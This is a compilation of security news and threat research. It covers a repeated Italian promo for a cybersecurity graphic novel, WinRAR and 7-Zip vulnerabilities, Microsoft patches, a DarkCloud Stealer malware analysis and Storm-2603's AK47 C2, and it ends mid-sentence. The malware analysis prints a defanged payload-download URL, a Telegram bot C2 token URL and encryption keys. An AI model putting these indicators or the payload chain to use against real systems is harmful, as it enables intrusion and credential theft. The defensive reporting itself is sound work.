Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

Risolte vulnerabilità in 7-Zip Alert AL01/251010/CSIRT-ITA Sintesi Risolte due vulnerabilità con gravità “alta” presenti in 7-Zip, noto software open source per la compressione e decompressione di file. Tali vulnerabilità, qualora sfruttate, potrebbero consentire ad un utente malintenzionato di eseguire codice arbitrario sui dispositivi target. Tipologia Arbitrary Code Execution Prodotti e/o versioni affette 7-Zip, versioni precedenti alla 25.00 Azioni di mitigazione In linea con le dichiarazioni del vendor, si raccomanda di aggiornare i prodotti vulnerabili seguendo le indicazioni dei bollettini di sicurezza riportati nella sezione Riferimenti.

Microsoft on Tuesday rolled out fixes for a massive set of 111 security flaws across its software portfolio, including one flaw that has been disclosed as publicly known at the time of the release. Of the 111 vulnerabilities, 16 are rated Critical, 92 are rated Important, two are rated Moderate, and one is rated Low in severity. Forty-four of the vulnerabilities relate to privilege escalation, followed by remote code execution (35), information disclosure (18), spoofing (8), and denial-of-service (4) defects. This is in addition to 16 vulnerabilities addressed in Microsoft's Chromium-based Edge browser since the release of last month's Patch Tuesday update, including two spoofing bugs affecting Edge for Android. Included among the vulnerabilities is a privilege escalation vulnerability impacting Microsoft Exchange Server hybrid deployments (CVE-2025-53786, CVSS score: 8.0) that Microsoft disclosed last week. The publicly disclosed zero-day is CVE-2025-53779 (CVSS score: 7.2), another privilege escalation flaw in Windows Kerberos that stems from a case of relative path traversal. Akamai researcher Yuval Gordon has been credited with discovering and reporting the bug. It's worth mentioning here that the issue was documented in detail back in May 2025 by the web infrastructure and security company, giving it the codename BadSuccessor. The novel technique essentially allows a threat actor with sufficient privileges to compromise an Active Directory (AD) domain by misusing delegated Managed Service Account (dMSA) objects. "The good news here is that successful exploitation of CVE-2025-53779 requires an attacker to have pre-existing control of two attributes of the hopefully well protected dMSA: msds-groupMSAMembership, which determines which users may use credentials for the managed service account, and msds-ManagedAccountPrecededByLink, which contains a list of users on whose behalf the dMSA can act," Adam Barnett, lead software engineer at Rapid7, told The Hacker News. "However, abuse of CVE-2025-53779 is certainly plausible as the final link of a multi-exploit chain which stretches from no access to total pwnage." Action1's Mike Walters noted that the path traversal flaw can be abused by an attacker to create improper delegation relationships, enabling them to impersonate privileged accounts, escalate to a domain administrator, and potentially gain full control of the Active Directory domain. "An attacker who already has a compromised privileged account can use it to move from limited administrative rights to full domain control," Walters added. "It can also be paired with methods such as Kerberoasting or Silver Ticket attacks to maintain persistence." "With domain administrator privileges, attackers can disable security monitoring, modify Group Policy, and tamper with audit logs to hide their activity. In multi-forest environments or organizations with partner connections, this flaw could even be leveraged to move from one compromised domain to others in a supply chain attack." Satnam Narang, senior staff research engineer at Tenable, said the immediate impact of BadSuccessor is limited, as only 0.7% of Active Directory domains had met the prerequisite at the time of disclosure. "To exploit BadSuccessor, an attacker must have at least one domain controller in a domain running Windows Server 2025 in order to achieve domain compromise," Narang pointed out. Some of the notable Critical-rated vulnerabilities patched by Redmond this month are below - CVE-2025-53767 (CVSS score: 10.0) - Azure OpenAI Elevation of Privilege Vulnerability CVE-2025-53766 (CVSS score: 9.8) - GDI+ Remote Code Execution Vulnerability CVE-2025-50165 (CVSS score: 9.8) - Windows Graphics Component Remote Code Execution Vulnerability CVE-2025-53792 (CVSS score: 9.1) - Azure Portal Elevation of Privilege Vulnerability CVE-2025-53787 (CVSS score: 8.2) - Microsoft 365 Copilot BizChat Information Disclosure Vulnerability CVE-2025-50177 (CVSS score: 8.1) - Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability CVE-2025-50176 (CVSS score: 7.8) - DirectX Graphics Kernel Remote Code Execution Vulnerability Microsoft noted that the three cloud service CVEs impacting Azure OpenAI, Azure Portal, and Microsoft 365 Copilot BizChat have already been remediated, and that they require no customer action. Check Point, which disclosed CVE-2025-53766 alongside CVE-2025-30388, said the vulnerabilities allow attackers to execute arbitrary code on the affected system, leading to a full system compromise. "The attack vector involves interacting with a specially crafted file. When a user opens or processes this file, the vulnerability is triggered, allowing the attacker to take control," the cybersecurity company said. The Israeli firm revealed that it also uncovered a vulnerability in a Rust-based component of the Windows kernel that can result in a system crash that, in turn, triggers a hard reboot. "For organizations with large or remote workforces, the risk is significant: attackers could exploit this flaw to simultaneously crash numerous computers across an enterprise, resulting in widespread disruption and costly downtime," Check Point said. "This discovery highlights that even with advanced security technologies like Rust, continuous vigilance and proactive patching are essential to maintaining system integrity in a complex software environment." Another vulnerability of importance is CVE-2025-50154 (CVSS score: 6.5), an NTLM hash disclosure spoofing vulnerability that's actually a bypass for a similar bug (CVE-2025-24054, CVSS score: 6.5) that was plugged by Microsoft in March 2025. "The original vulnerability demonstrated how specially crafted requests could trigger NTLM authentication and expose sensitive credentials," Cymulate researcher Ruben Enkaoua said. "This new vulnerability [...] allows an attacker to extract NTLM hashes without any user interaction, even on fully patched systems. By exploiting a subtle gap left in the mitigation, an attacker can trigger NTLM authentication requests automatically, enabling offline cracking or relay attacks to gain unauthorized access." Software Patches from Other Vendors In addition to Microsoft, security updates have also been released by other vendors over the past several weeks to rectify several vulnerabilities, including — 7-Zip Adobe Amazon Web Services AMD AMI Apple Arm ASUS Atlassian Autodesk Axis Communications Bosch Broadcom (including VMware) Check Point Cisco CODESYS D-Link Dell Drupal Elastic Emerson F5 Fortinet Fortra Foxit Software FUJIFILM Fujitsu Gigabyte GitLab Google Android and Pixel Google Chrome Google Cloud Google Wear OS HMS Networks HP HP Enterprise (including Aruba Networking) Huawei IBM Intel Ivanti Juniper Networks Lenovo Linux distributions AlmaLinux, Alpine Linux, Amazon Linux, Arch Linux, Debian, Gentoo, Oracle Linux, Mageia, Red Hat, Rocky Linux, SUSE, and Ubuntu MediaTek Mitel Mitsubishi Electric Moxa Mozilla Firefox, Firefox ESR, and Thunderbird NVIDIA Palo Alto Networks Qualcomm Rockwell Automation Salesforce Samsung SAP Schneider Electric ServiceNow Siemens SolarWinds SonicWall Sophos Splunk Spring Framework Supermicro Synology TP-Link Trend Micro WinRAR Xerox Zimbra Zoom, and Zyxel

WinRAR zero-day was exploited by two threat actors (CVE-2025-8088) The RomCom attackers aren’t the only ones that have been leveraging the newly unveiled WinRAR vulnerability (CVE-2025-8088) in zero-day attacks: according to Russian cybersecurity company BI.ZONE, a group tracked as Paper Werewolf has been using it to target Russian organizations. BI.ZONE researchers may have also uncovered how RomCom and Paper Werewolf got their hands on the same exploit: it looks like it may have been offered for sale on a cybercrime forum in late June for $80,000. WinRAR zero-day exploit for sale (Source: BI.ZONE) The spotted campaigns On Monday, ESET researchers shared that the attacks using CVE-2025-8088 – a path-traversal vulnerability that affects WinRAR v7.12 and can be used for malicious code execution – were aimed at financial, manufacturing, defense, and logistics companies in Europe and Canada, and happened between July 18 and July 21. The targets received spearphishing emails ostensibly sent by job seekers and included what seemed to be documents containing their CV. “The vulnerability (…) uses alternate data streams (ADSes) for path traversal. The attackers specially crafted the archive to apparently contain only one benign file, while it contains many malicious ADSes (there’s no indication of them from the user’s point of view),” ESET researchers explained. “Once a victim opens this seemingly benign file, WinRAR unpacks it along with all its ADSes. For example, for Eli_Rosenfeld_CV2 – Copy (10).rar, a malicious DLL is deployed into %TEMP%. Likewise, a malicious LNK file is deployed into the Windows startup directory, thereby achieving persistence via execution on user login.” ESET’s telemetry shows that none of the targets ended up getting compromised. The researchers’ subsequent analysis has shown that the ultimate goal was to deploy a backdoor: a SnipBot variant, RustyClaw, or the Mythic agent. “[ESET] researchers attribute the observed activities to RomCom with high confidence based on the targeted region, TTPs, and the malware used. RomCom (also known as Storm-0978, Tropical Scorpius, or UNC2596) is a Russia-aligned group that conducts both opportunistic campaigns against selected business verticals and targeted espionage operations. The group’s focus has shifted to include espionage operations collecting intelligence, in parallel with its more conventional cybercrime operations,” the company noted. “We are aware that this vulnerability has also been exploited by another threat actor, and was independently discovered by the Russian cybersecurity company BI.ZONE. Notably, this second threat actor began exploiting CVE‑2025‑8088 a few days after RomCom started doing so.” BI.ZONE says that the spearphishing campaign delivering booby-trapped archive files containing an exploit for CVE‑2025‑8088 was aimed Russian organizations. Prior to that, in early July, the “Paper Werewolf” threat actor also used an exploit for CVE‐2025‐6218, which is very similar to CVE-2025-8088. CVE‐2025‐6218 was disclosed to the WinRAR maintainers in early June 2025 and was patched in WinRAR 7.12 beta 1, released on June 10. In both campaigns, the attackers posed as an employee at a government institution and ostensibly was making the recipient aware of a letter from one of the Russian ministries. A later campaign involved booby-trapped documents ostensibly offering information about an airline company. What should WinRAR users do? With both exploited WinRAR vulnerabilities having been made public and the exploit for CVE‐2025‐6218 in who knows how many attackers’ hands, it’s highly likely that more attacks – possibly more widespread ones – will start happening soon. The 500+ million WinRAR users are advised to download and install WinRAR 7.13, which contains fixes for both CVE‑2025‑8088 and CVE‐2025‐6218. CVE‐2025‐6218 also affects UnRAR, the portable UnRAR source code, and UnRAR.dll, so those should be updated as well. ESET and BI.ZONE have shared indicators of compromise that can help organizations check whether they’ve been targeted in these campaigns. 7-Zip users should also update A vulnerability in 7-Zip, another popular file archiver utility, has been publicly disclosed this past weekend via the OSS-SEC mailing list. CVE-2025-55188, affecting 7-Zip versions prior to 25.01 (released in early August), may allow attackers to write arbitrary files to victim systems and execute them. “Prior to 25.01, it was possible for a maliciously-crafted archive to create an unsafe symbolic link. 7-Zip follows symbolic links when extracting, so this leads to arbitrary file write,” the researcher who flagged the flaw explained. They also said that exploitation can be reliably achieved if the target user uses Linux and extracts an archive file in a format for which 7-Zip supports symbolic links (such as .zip, .tar, .7z or .rar). “This attack may also be done on Windows, but additional conditions are necessary. On Windows, the 7-Zip extraction process must have the capability to create symbolic links (e.g. extract with Administrator privileges, Windows is in Developer Mode, etc…),” they added. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

The maintainers of the WinRAR file archiving utility have released an update to address an actively exploited zero-day vulnerability. Tracked as CVE-2025-8088 (CVSS score: 8.8), the issue has been described as a case of path traversal affecting the Windows version of the tool that could be exploited to obtain arbitrary code execution by crafting malicious archive files. "When extracting a file, previous versions of WinRAR, Windows versions of RAR, UnRAR, portable UnRAR source code and UnRAR.dll can be tricked into using a path, defined in a specially crafted archive, instead of a specified path," WinRAR said in an advisory. Anton Cherepanov, Peter Kosinar, and Peter Strycek from ESET have been credited for discovering and reporting the security defect, which has been addressed in WinRAR version 7.13 released on July 30, 2025. The development is the second time a WinRAR security vulnerability has been weaponized in the wild in as many years. In 2023, another vulnerability affecting WinRAR (CVE-2023-38831, CVSS score: 7.8) came under heavy exploitation, including as a zero-day, by multiple threat actors from China and Russia. Russian cybersecurity vendor BI.ZONE, in a report published last week, said there are indications that the hacking group tracked as Paper Werewolf (aka GOFFEE) may have leveraged CVE-2025-8088 alongside CVE-2025-6218, a directory traversal bug in the Windows version of WinRAR that was patched in June 2025. It's important to note that prior to these attacks, a threat actor identified as "zeroplayer" was spotted advertising on July 7, 2025, an alleged WinRAR zero-day exploit on the Russian-language dark web forum Exploit.in for a price tag of $80,000. It's suspected that the Paper Werewolf actors may have acquired it and used it for their attacks. "In previous versions of WinRAR, as well as RAR, UnRAR, UnRAR.dll, and the portable UnRAR source code for Windows, a specially crafted archive containing arbitrary code could be used to manipulate file paths during extraction," WinRAR said in an alert for CVE-2025-6218 at the time. "User interaction is required to exploit this vulnerability, which could cause files to be written outside the intended directory. This flaw could be exploited to place files in sensitive locations – such as the Windows Startup folder – potentially leading to unintended code execution on the next system login." The attacks, per BI.ZONE, targeted Russian organizations in July 2025 via phishing emails bearing booby-trapped archives that, when launched, triggered CVE-2025-6218 and likely CVE-2025-8088 to write files outside the target directory and achieve code execution, while a decoy document is presented to the victim as a distraction. "The vulnerability is related to the fact that when creating a RAR archive, you can include a file with alternative data streams, the names of which contain relative paths," BI.ZONE said. "These streams can contain arbitrary payload. When unpacking such an archive or opening an attached file directly from the archive, data from the alternative streams is written to arbitrary directories on the disk, which is a directory traversal attack." "The vulnerability affects WinRAR versions up to and including 7.12. Starting with version 7.13, this vulnerability is no longer reproduced." One of the malicious payloads in question is a .NET loader that's designed to send system information to an external server and receive additional malware, including an encrypted .NET assembly. "Paper Werewolf uses the C# loader to get the victim's computer name and send it in the generated link to the server to get the payload," the company added. "Paper Werewolf uses sockets in the reverse shell to communicate with the control server." WinRAR Flaw Also Exploited by RomCom Slovakian cybersecurity company ESET said it first observed the Russia-aligned group RomCom exploiting CVE-2025-8088 as a zero-day on July 18, 2025, marking the third time the hacking crew has employed zero-days in its attacks after CVE-2023-36884 (June 2023), CVE‑2024‑9680 and CVE‑2024‑49039 (October 2024). "Successful exploitation attempts delivered various backdoors used by the RomCom group, specifically a SnipBot variant, RustyClaw, and Mythic agent," researchers Cherepanov, Strycek, and Damien Schaeffer said. "This campaign targeted financial, manufacturing, defense, and logistics companies in Europe and Canada." The attacks leverage malicious archives that contain one benign but several alternate data streams (ADSes) that are leveraged for path traversal. The messages make use of resume-themed lures to trick recipients into opening the attachments. Opening the archive triggers the execution of a malicious DLL, while a Windows shortcut (LNK) file is set up in the Windows startup directory to achieve persistence every time a user logs in to the system. This DLL is responsible for decrypting embedded shellcode, which then paves the way for the Mythic agent, a SnipBot (aka SingleCamper) variant, and RustyClaw. RustyClaw fetches and executes another payload, another downloader called MeltingClaw (aka DAMASCENED PEACOCK), which has been used to drop backdoors such as ShadyHammock or DustyHammock in the past. The company said none of the targets were compromised, citing telemetry data, but the development demonstrates the continued maturation of RomCom to a sophisticated threat actor capable of adopting zero-days into its arsenal for targeted attacks. "By exploiting a previously unknown zero-day vulnerability in WinRAR, the RomCom group has shown that it is willing to invest serious effort and resources into its cyber operations," ESET said. "The discovered campaign targeted sectors that align with the typical interests of Russian-aligned APT groups, suggesting a geopolitical motivation behind the operation." 7-Zip Plugs Arbitrary File Write Bug The disclosure comes as 7-Zip shipped patches for a security flaw (CVE-2025-55188, CVSS score: 2.7) that could be abused for arbitrary file write due to the manner the tool handles symbolic links during extraction, which may result in code execution. The issue has been addressed in version 25.01. In a possible attack scenario, a threat actor could leverage the flaw to achieve unauthorized access or code execution by tampering with sensitive files, such as by overwriting a user's SSH keys or .bashrc file. The attack mainly targets Unix systems, but can also be adapted for Windows with additional prerequisites. "On Windows, the 7-Zip extraction process must have the capability to create symbolic links (e.g., extract with Administrator privileges, Windows is in Developer Mode, etc.)," security researcher "lunbun" said. Update ESET researcher Cherepanov confirmed to The Hacker News that the WinRAR exploit used by Paper Werewolf is "definitely" the same, but said they "currently have no visibility into any attacks targeting Russia." The researcher also noted that "while we don't have hard evidence that RomCom or Paper Werewolf obtained the WinRAR zero-day from a cybercriminals' forum, it is highly likely that this was the case." (The story was updated after publication to include a response from ESET.)

Unit 42 researchers recently observed a shift in the delivery method in the distribution of DarkCloud Stealer and the obfuscation techniques used to complicate analysis. First seen in early April 2025, these new methods and techniques include an additional infection chain for DarkCloud Stealer. This chain involves obfuscation by ConfuserEx and a final payload written in Visual Basic 6 (VB6). We previously identified a series of attacks linked to the distribution of DarkCloud Stealer. It also leveraged AutoIt to bypass detection systems. We documented these details in DarkCloud Stealer: Comprehensive Analysis of a New Attack Chain That Employs AutoIt. Palo Alto Networks customers are better protected through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. We have observed three slightly different attack chains delivering the same final DarkCloud Stealer payload in recent attacks. Each attack chain starts with a phishing email that contains either a tarball (TAR), Roshal (RAR) or a 7-Zip (7Z) archive. Both the TAR or RAR versions contain a JavaScript (JS) file, while the 7Z version contains a Windows Script File (WSF). The threat actor is at a point in development that, for all infection chain paths, almost every stage is obfuscated or protected. Figure 1 shows an overview of the different infection chains of these recent DarkCloud Stealer campaigns. In the chains initiated by a JS script, executing the script downloads and executes a PowerShell (PS1) file from an open directory server. The PS1 file then drops an executable (EXE) file that is the ConfuserEx-protected version of the final DarkCloud payload. Looking at the JS file here in Figure 2, the script is obfuscated by the tool javascript-obfuscator. Figure 3 below shows the deobfuscated version of the same script. In summary, the script: Uses ActiveXObject('MSXML2.XMLHTTP') object to obtain the next stage PS1 script at hxxp[:]//176.65.142[.]190/BLACKYY/newbag.ps1 Uses ActiveXObject('Scripting.FileSystemObject') object to drop the PS1 file as a random 8-character lowercase name in the C:\Temp folder. Uses ActiveXObject('WScript.Shell') object to run a PowerShell command to execute the PS1 file. Figure 4 illustrates an open directory server hosting many malicious PS1 files. In this case, the kay.ps1 is the next stage PS1 sample that the JS script downloaded and executed. The infection chain initiated by a 7Z archive drops a WSF file. The WSF file mainly consists of a single tag, which contains a tag. The JScript code is again heavily obfuscated, but in a different way than the JS file shown in Figure 2. It also uses ActiveXObject objects to download and execute a PS1 file from the same open directory server. However, the PS1 script associated with this WSF downloader is different. Next, we will focus on the JS-based infection chain that runs the kay.ps1 PowerShell script. This PS1 also has two layers of encryption scheme. Figure 5 shows partial code snippets from the first layer. The snippet uses Invoke-Expression (a PowerShell command that executes a string as if it were a command) to invoke another PowerShell expression that is both Base64-encoded and AES-encrypted. Figure 6 shows a code snippet from the invoked PS1 expression, revealing its core functionality. The code reveals that an EXE file is written to the %tmp% folder with a randomly generated 8-character upper- or lower-case filename. The script then executes the dropped EXE file using the Start-Process command. In the following section, we delve deeper into the analysis of the 32-bit .NET malware sample. This malware sample contains the final DarkCloud executable written in VB6 and wrapped in a layer of ConfuserEx obfuscation. ConfuserEx 2 is an open-source protector for .NET applications. Files protected with ConfuserEx are watermarked with a ConfusedByAttribute attribute. ConfuserEx comes with many features and protections such as: Anti-tampering (method encryption): This protects the application from unauthorized modification. This is accomplished by only decrypting the code of method bodies at runtime. This decryption is performed in the module constructor ( .cctor), which executes before reaching the main entry point. Symbol renaming: This changes class, method and variable names to random, meaningless, non-American Standard Code for Information Interchange (ASCII) printable identifiers. Control flow obfuscation: This alters the code structure with opaque predicates (cf. control flow flattening). Method reference hiding: This is also known as proxy call method obfuscation (this will be later described in more detail). Constant encoding: This encodes constants (e.g., strings using fixed reversible transformations. The malware author applied these protections to the analyzed malware sample. First, we can adapt the AntiTamperKiller code to defeat anti-tampering protection. This transformed the sample's .NET code, as Figure 7 shows. The method body code consists of bogus invalid .NET instructions into the deobfuscated code seen in Figure 8, where the real method body code is now visible. In particular, we extracted the specific parameters of the anti-tampering protection: Key 1: 0xc225d58c Key 2: 0xa2e32024 Key 3: 0xdcc95ec9 Key 4: 0x00000000 Name hash: 0xe0cbeae4 Internal key: 0x3dbb2819 Next, we still have more cleanup work to do on the partially deobfuscated sample. We then applied de4dot-cex (a fork of de4dot, a generic .NET deobfuscator and unpacker, which includes support for ConfuserEx deobfuscation) to the sample, using the -p crx command-line switch. This transforms the .NET sample’s code seen in Figure 8 into the code shown in Figure 9, by renaming the obfuscated symbols and reverting the control flow flattening. Thereafter, proxy call methods can be fixed using the proxy call remover tool. Proxy call method obfuscation is a technique that replaces direct method calls with calls to intermediate (i.e., proxy) methods. These proxy methods often do almost nothing besides forwarding the original call. However, they make control flow more difficult for the analyst to follow, thus hindering the code decompilation process. This reduces code readability and increases the effort required to fully understand the entire program logic. Removing these proxy call methods resulted in the simplified code seen in Figure 10. The Class8.smethod_10 method is revealed as the standard Convert.FromBase64String method. Eventually, the final DarkCloud VB6 payload (which is in Triple Data Encryption Standard (3DES) encrypted form shown in Figure 11) is decrypted and executed. The Base64-encoded key, initialization vector (IV) and ciphertext are stored as strings within the .byte_0 variable in Length-Value format, as shown in Figure 12. The standard Type-Length-Value (TLV) format (TLV) format typically includes a type identifier, but in this case, it’s omitted because all values are strings. For instance, the cryptographic key iA9B1uKFddQdqiLSSuzvD2GhL1o2Jv+v (also shown in Figure 11) is stored as a 32-byte string. The length is specified at offset 60 in little-endian format, with the string value beginning at offset 64. The .byte_0 variable value is initialized in the module constructor ( .cctor), through a series of exclusive OR (XOR) and bitwise (arithmetic bit shift) operations on a hard-coded 100,560-element unsigned integer array. After initialization, other generic .NET methods, each accepting a single integer id as parameter, use this array to index the initialized .byte_0 variable and return a string. Figure 13 shows one such method, .smethod_6. RunPE, or process hollowing, is a process injection technique. Process hollowing works by first creating a fresh instance of a (usually legitimate) process in a suspended state. The process memory is then overwritten with code from another (usually malicious) executable. Subsequently, the process thread resumes at the entry point of the overwritten code, so that the malicious code now runs in the context of the benign process. The ConfuserEx protected process uses process hollowing to inject the final VB6 payload. After decryption, the final VB6 payload named holographies.exe, is injected into a new native Portable Executable (PE) process spawned by the initial ConfuserEx process. The process used for injection is RegAsm.exe, a legitimate utility that comes with the default installed .NET Framework SDK on Windows. The presence of the string DarkCloud within the final VB6 payload (shown in Figure 14) confirms its affiliation with the DarkCloud malware family. Additionally, critical strings within the payload are encrypted using the Rivest Cipher 4 (RC4) stream cipher algorithm, with each ciphertext typically using a unique key. For instance, the ciphertext 58364B6DB1C7D797DFA59186B4 paired with the key sMgSInEGpSAgkfcMSUPDDFCVSTyhowuHorsctkyTMYZh decrypts to the string WScript.Shell. These sensitive strings can be broadly categorized as: Regular expressions Credit card names Registry paths Directory and file paths (including file extensions) Telegram API credentials (used for C2 purposes) Other miscellaneous strings DarkCloud Stealer is typical of an evolution in cyberthreats, leveraging obfuscation techniques and intricate payload structures to evade traditional detection mechanisms. The developers of the malware complicated its analysis by adopting ConfuserEx and a VB6 payload in its infection chain. The shift in delivery methods observed in April 2025 indicates an evolving evasion strategy. This highlights the need for security professionals to adopt proactive, behavior-based approaches to threat detection and mitigation. Palo Alto Networks customers are better protected from the threats discussed above through the following products: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Cortex XDR and XSIAM are designed to prevent the execution of known malicious malware, and also prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module. Cortex Cloud customers are better protected from DarkCloud Stealer through the proper placement of Cortex Cloud XDR endpoint agent and serverless agents within a cloud environment. Designed to protect a cloud’s posture and runtime operations against these threats, Cortex Cloud helps detect and prevent the malicious operations or configuration alterations or exploitations discussed within this article. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 00080005045107 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Malware distribution URL hxxp[:]//176.65.142[.]190 C2 URL hxxps[:]//api.telegram[.]org/bot7684022823:AAFw0jHSu-b4qs6N7yC88nUOR8ovPrCdIrs/sendMessage?chat_id=6542615755 DarkCloud Stealer: Comprehensive Analysis of a New Attack Chain That Employs AutoIt – Unit 42, Palo Alto Networks .NET Hooking - Harmonizing Managed Territory – Jiří Vinopal, Check Point Research

The threat actor linked to the exploitation of the recently disclosed security flaws in Microsoft SharePoint Server is using a bespoke command-and-control (C2) framework called AK47 C2 (also spelled ak47c2) in its operations. The framework includes at least two different types of clients, HTTP-based and Domain Name System (DNS)-based, which have been dubbed AK47HTTP and AK47DNS, respectively, by Check Point Research. The activity has been attributed to Storm-2603, which, according to Microsoft, is a suspected China-based threat actor that has leveraged the SharePoint flaws – CVE-2025-49706 and CVE-2025-49704 (aka ToolShell) – to deploy Warlock (aka X2anylock) ransomware. A previously unreported threat cluster, evidence gathered following an analysis of VirusTotal artifacts shows that the group may have been active since at least March 2025, deploying ransomware families like LockBit Black and Warlock together – something that's not observed commonly among established e-crime groups. "Based on VirusTotal data, Storm-2603 likely targeted some organizations in Latin America throughout the first half of 2025, in parallel to attacking organizations in APAC," Check Point said. The attack tools used by the threat actor includes legitimate open-source and Windows utilities like masscan, WinPcap, SharpHostInfo, nxc, and PsExec, as well as a custom backdoor ("dnsclient.exe") that uses DNS for command-and-control with the domain "update.updatemicfosoft[.]com." The backdoor is part of the AK47 C2 framework, alongside AK47HTTP, that's employed to gather host information and parse DNS or HTTP responses from the server and execute them on the infected machine via "cmd.exe." The initial access pathway used in these attacks are unknown. A point worth mentioning here is that the aforementioned infrastructure was also flagged by Microsoft as used by the threat actor as a C2 server to establish communication with the "spinstall0.aspx" web shell. In addition to the open-source tools, Storm-2603 has been found to distribute three additional payloads - 7z.exe and 7z.dll, the legitimate 7-Zip binary that's used to sideload a malicious DLL, which delivers Warlock bbb.msi, an installer that uses clink_x86.exe to sideload "clink_dll_x86.dll," which leads to LockBit Black deployment Check Point said it also discovered another MSI artifact uploaded to VirusTotal in April 2025 that's used to launch Warlock and LockBit ransomware, and also drop a custom antivirus killer executable ("VMToolsEng.exe") that employs the bring your own vulnerable driver (BYOVD) technique to terminate security software using ServiceMouse.sys, a third-party driver provided by Chinese security vendor Antiy Labs. Ultimately, Storm-2603's exact motivations remain unclear at this stage, making it harder to determine if it's espionage-focused or driven by profit motives. However, it bears noting that there have been instances where nation-state actors from China, Iran, and North Korea have deployed ransomware on the side. "We tend to assess it is a financially motivated actor, but with this, we can't also exclude the option that this is a dual motivation actor, both espionage and financially motivated," Sergey Shykevich, Threat Intelligence Group Manager at Check Point, told The Hacker News. "Storm-2603 leverages BYOVD techniques to disable endpoint defenses and DLL hijacking to deploy multiple ransomware families – blurring the lines between APT and criminal ransomware operations," Check Point added. "The group also uses open-source tools like PsExec and masscan, signaling a hybrid approach seen increasingly in sophisticated attacks." More Details About Storm-2603 Emerge Palo Alto Networks Unit 42, which is tracking Storm-2603 under the moniker CL-CRI-1040, said it has also observed the threat activity cluster using AK47 C2 prior to the exploitation of ToolShell flaws in Microsoft SharePoint Server. "CL-CRI-1040 was formerly associated with a LockBit 3.0-affiliate and has recently been operating a double-extortion data leak site known as Warlock," the company said. Describing AK47 C2 as a multi-protocol supporting backdoor, Unit 42 said the tool comes with capabilities to execute arbitrary commands received via DNS and HTTP. Both the variants are assessed to be under 